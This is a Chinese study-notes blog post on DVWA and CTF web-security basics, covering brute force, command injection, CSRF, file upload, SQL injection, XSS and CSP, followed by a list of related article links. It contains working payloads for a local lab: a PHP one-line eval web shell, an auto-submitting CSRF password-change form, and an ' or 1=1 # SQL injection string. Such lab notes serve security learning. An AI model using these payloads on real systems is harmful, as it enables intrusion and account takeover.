1、暴力破解

直接使用burpsuite破解即可

2、命令行注入

ping后面加入&&链接符:表示ping完这个网站之后再执行&只有的语句

3、CSRF:跨站请求伪造

我们点击之后,上面的域名就会改变,用户的密码就会被改,但是这个时候用户知道自己的密码被改了,所以我们需要在用户不知情的基础上改变用户的密码eg:

4、文件包含漏洞

当我们点开的时候,我们会发现url的值也会发生改变,于是我们可以试试直接修改URL

5、文件上传(利用文件上传的功能植入脚本文件从而获取网站权限)(一句话木马)

首先我们写一个php脚本

<?php @eval($_POST['cmd']);?>

@符号的意思是不报错,即使执行错误,也不报错。

然后导入我们的脚本文件(可以发现脚本文件导入成功,在网站的目录里面)

我们可以发现找到了文件的目录;接下来使用蚁剑扫描即可

注意这个密码是和脚本相同的:cmd即可

例如:eval("echo 'a'");其实就等于直接 echo 'a';再来看看<?php eval($_POST['pw']); ?>首先,用post方式接收变量pw,比如接收到了:pw=echo 'a';这时代码就变成<?php eval("echo 'a';"); ?>。

这里就能看到目标主机的目录了!实现控制电脑的操作!

6、Insecure CAPTCHA(不安全的验证码)

就是我们可以通过修改一些值跳过验证码的验证环节

注意这个函数:recaptcha_check_answer()函数:

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response) 函数

参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。

$is_valid是布尔型的,表示校验是否有效,

$error是返回的错误代码。

原文链接:https://blog.csdn.net/qq_44598397/article/details/101376599

查看网页源代码,发现第二部操作就是直接朝着数据库写入数据了。

所以我们可以通过抓包的方式修改step的值

从而绕过第一步的验证,达到修改密码的目的

因为没有CSRF(防止跨站脚本)的防护;所以:当我们可以制作钓鱼网站,当用户登进我们这个网站的时候,改变原来网站的密码,从而得到盗取用户信息的目的

<html>      <body onload="document.getElementById('transfer').submit()">        <div>    <form method="POST" id="transfer" action="http://127.0.0.1/DVWA/vulnerabilities/captcha/index.php">     <input type="hidden" name="password_new" value="hack"><input type="hidden" name="password_conf" value="hack">     <input type="hidden" name="step" value="2"      <input type="hidden" name="Change" value="Change">        </form>        </div>        </body></html>

7、SQL注入

查看源代码,发现并没有正则表达式的验证,所以我们可以通过构造一些特殊的方式来实现数据库注入

eg:$Id=' or 1=1 # #表示注释

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; =

$query = "SELECT first_name, last_name FROM users WHERE user_id = ''' or 1=1 #';";

通过where判断or1=1则返回的为真;可以得到全部用户部分的信息

8、SQL Injection (Blind):关于时间的盲注:与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。(还不会,回来再看)

9、Weak Session IDs(弱会话ID)

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权限,无需登录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

Weak Session IDs(弱会话),用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。 用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。 但是 session id 过于简单就会容易被人伪造。

9.5、XSS

跨站脚本攻击XSS(Cross Site Script) 为了不和层叠式演示表(Cascading Style Sheets,CSS) 的缩写混淆,顾将跨站脚本攻击缩写为XSS。恶意攻击者网web页面插入恶意Script代码,当用户浏览该页面时,嵌入web里面的script代码就会被执行,从而达到攻击用户的目的。XSS攻击针对的是用户层面的攻击!

XSS存在的根本原因是,对URL中的参数和对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序中对用户提交的URL中的参数,和提交的所有内容进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用户的浏览器中执行攻击者自己定制的脚本”。

10、XSS(DOM)

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

我们发现这个的选择之后会直接在URL上面显示,

所以:

所以:可以直接在URL上面输入一些不好的东西(基于没有任何防护措施的网页上)

11、XSS(stored)

存储型XSS:持久化,代码是存储在web服务器中的,比如在跟人信息或发表文章等地方插入代码,

如果没有过滤或者过滤不严,那么这些代码将存储在服务器中,用户访问该页面的时候触发代码执行。

这种XSS比较危险,容易造成蠕虫、盗窃cookie。每一个访问特定页面的用户,都会受到攻击。

特点:

1> XSS攻击代码存储于web server上;

2> 攻击者,一般是通过网站的留言、评论、博客、日志等等功能(所有能够向web server输入内容的地方),将攻击代码存储到web server上的;

这种存储型XSS就会在我们访问这个网页的时候执行我们事先存储好的代码:

12、XSS(Reflected)

反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多是是用来盗取用户的cookie信息。只要用户点击特定恶意链接,服务器解析响应后,在返回的响应内出现攻击者的XSS代码,被浏览器执行。一来一去,XSS攻击脚本被Web server反射回给浏览器执行,所以称为反射型XSS。

特点:

1> XSS攻击代码非持久性,也就是没有保存在web server中,而是出现在URL地址中;

2> 非持久性,那么攻击方式就不同了。一般是攻击者通过邮件,聊天软件等等方式发送攻击URL,然后用户点击来达到攻击的;

有时持久性XSS和反射型XSS是同时使用的:

比如先通过对一个攻击url进行编码(来绕过xss filter),然后提交该web server(存储在web server中), 然后用户在浏览页面时,

如果点击该url,就会触发一个XSS攻击。当然用户点击该url时,也可能会触发一个CSRF(Cross site request forgery)攻击.

通过XSS(stored)型注入恶意代码(比如说注入恶意按钮,用户点击跳转到恶意钓鱼网站)

反射型XSS、存储型XSS及DOM型XSS到底有什么区别?????

一、被攻击对象的不同

反射型XSS的被攻击对象一般是攻击者去寻找的,就比如说:一个攻击者想盗取A的QQ号,那么攻击者就可以将一个含有反射型XSS的URL链接给A,此时我们可以看出,需要将特定的URL,注意是特定的URL给A,当A点击进入链接时,就受到XSS攻击,所以这种攻击范围不是特别的广。而存储型XSS是广撒网的方式或者指定的方式,就是攻击者将存储型XSS放在一些有XSS漏洞的网站上,只要有用户访问这个链接就会中招,而攻击者也可以寻找被攻击对象,比如说上面的例子,所以我们可以看出,存储型XSS的危害性更大,范围更广,可以不需要寻找被攻击对象,只要存储型XSS在服务器上就能实施攻击。

DOM型XSS的被攻击对象其实和反射型XSS被攻击对象差不多,就是给攻击对象放送URL。

二、解析位置不同(个人感觉是反射型与存储型区别的本质)

反射型XSS的脚本被解析的地方是浏览器,而存储型XSS的脚本被解析的地方是服务器,DOM型XSS也是浏览器,所以DOM型又叫DOM反射型XSS。但是反射型XSS需要联网,而DOM型不需要!

三、存储时间不同

反射型XSS是既有即用,没有持久性,而存储型XSS是存储在服务器上,只要服务器不挂机或者是被干掉,就一直会有,DOM型XSS和反射型差不多,但是用人就扯淡了,那反射型只要不改变源代码不就是一直存在吗?不是的,反射型XSS是必须得特定的URL才能使得被攻击对象中招,如果是单单官方网页,就没有了咯,存储型就不同,只要服务器里面有存储型XSS,不论是不是官网,被攻击对象都会被攻击。

四、允许输入点的不同(这是DOM型与其他两种的区别)

一般情况下,反射型XSS在搜索框啊,或者是页面跳转啊这些地方,而存储型XSS一般是留言,或者用户存储的地方,而DOM呢?是在DOM位置上,不取决于输入环境上。

原文链接:https://blog.csdn.net/qq_41734243/article/details/106123846

13、Content Security Policy (CSP) Bypass(绕过内容安全策略(CSP))(看不太懂,明天再看)

CSP - 内容安全策略:为了缓解很大一部分潜在的跨站脚本XSS问题,浏览器的扩展程序系统引入了内容安全策略CSP 的概念。通过引入一些相当严格的策略使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。

CSP以白名单的机制对网站加载或执行的资源起作用,在网页中策略通过HTTP头部信息或meta元素定义。CSP虽然提供了强大的安全保护,但是它也令eval()及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整。

14、JavaScript Attacks

CTF基础(学习笔记)相关推荐

  1. guido正式发布python年份_Python 基础学习笔记.docx

    Python 基础学习笔记 基于<Python语言程序设计基础(第2版)> 第一部分 初识Python语言 第1章 程序设计基本方法 1.1 计算机的概念 计算机是根据指令操作数据的设备, ...

  2. ASP.Net MVC开发基础学习笔记(5):区域、模板页与WebAPI初步

    http://blog.jobbole.com/85008/ ASP.Net MVC开发基础学习笔记(5):区域.模板页与WebAPI初步 2015/03/17 · IT技术 · .Net, Asp. ...

  3. Python3 基础学习笔记 C09【文件和异常】

    CSDN 课程推荐:<8小时Python零基础轻松入门>,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员:已出版<跟老齐学Python:轻松入门& ...

  4. Python3 基础学习笔记 C08 【类】

    CSDN 课程推荐:<8小时Python零基础轻松入门>,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员:已出版<跟老齐学Python:轻松入门& ...

  5. Python3 基础学习笔记 C07【函数】

    CSDN 课程推荐:<8小时Python零基础轻松入门>,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员:已出版<跟老齐学Python:轻松入门& ...

  6. Python3 基础学习笔记 C06【用户输入和 while 循环】

    CSDN 课程推荐:<8小时Python零基础轻松入门>,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员:已出版<跟老齐学Python:轻松入门& ...

  7. Python3 基础学习笔记 C05【字典】

    CSDN 课程推荐:<8小时Python零基础轻松入门>,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员:已出版<跟老齐学Python:轻松入门& ...

  8. Python3 基础学习笔记 C04【if 语句】

    CSDN 课程推荐:<8小时Python零基础轻松入门>,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员:已出版<跟老齐学Python:轻松入门& ...

  9. Python3 基础学习笔记 C03【操作列表】

    CSDN 课程推荐:<8小时Python零基础轻松入门>,讲师齐伟,苏州研途教育科技有限公司CTO,苏州大学应用统计专业硕士生指导委员会委员:已出版<跟老齐学Python:轻松入门& ...

最新文章

  1. python连接池原理_python redis之连接池的原理
  2. mysql增量_mysql实时增量备份
  3. 605. 种花问题 golang 切片越界问题和逻辑操作符的思考
  4. 人脸对齐(十八)--Joint Face Alignment and 3D Face Reconstruction
  5. VC2008学习笔记
  6. Bpmn.js 中文文档(一)
  7. FileUpload文件上传控件
  8. 开源 syslog 日志系统 scribe
  9. 相机技术--摄像机720p、1080p、2mp、3mp、5mp;VGA, QHD, FHD, 2K,4K对应的分辨率分别是什么
  10. Java实现 蓝桥杯 算法训练 Balloons in a Box
  11. 你羡慕我国庆能出去旅游,我羡慕你加班3倍工资
  12. 罗永浩微博发声,锤子或再出新一代坚果手机?
  13. 真·稳如狗:中国团队推出四足机器人,对标波士顿动力
  14. pandas中inplace_对python pandas中 inplace 参数的理解
  15. 虚拟地址 虚拟内存 物理地址
  16. python爬取某网站上的歌曲
  17. 配置无线路由器为无线交换机
  18. 微信小程序组件所在页面的生命周期
  19. 动态口令与数字证书简介
  20. windows常用快捷键及命令大全

热门文章

  1. linux下如何使用 tcpdump 进行抓包详细教程
  2. ubuntu安装npm命令
  3. U盘插入有盘符无容量
  4. mysql配置主从同步及遇到的问题
  5. 新游戏产业的5年之变
  6. 从双非文科生到年薪50万大厂女码农,我用了3年
  7. 微信小程序配置Vant Weapp
  8. glimpse .net_如何在ASP.Net Core中使用Glimpse
  9. 【WordPress】新评论微信推送
  10. java 未定义_未定义,未指定和实现定义的行为